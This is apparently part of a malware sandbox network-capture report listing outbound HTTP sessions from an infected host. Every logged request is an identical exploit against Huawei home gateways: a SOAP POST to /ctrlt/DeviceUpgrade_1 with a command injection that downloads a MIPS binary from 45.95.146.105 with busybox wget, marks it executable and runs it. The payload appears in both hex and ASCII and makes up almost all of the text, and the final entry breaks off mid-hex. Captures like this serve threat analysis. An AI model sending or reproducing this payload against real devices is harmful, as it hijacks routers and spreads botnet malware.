Jan 1, 2024 12:52:50.940706015 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:16.032537937 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:05.180625916 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.13	57614	41.230.12.123	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:52:28.726336002 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.13	55482	156.253.41.134	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:52:28.994949102 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:30.492614985 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:32.284617901 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:35.836668968 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:43.004609108 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:57.340584040 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 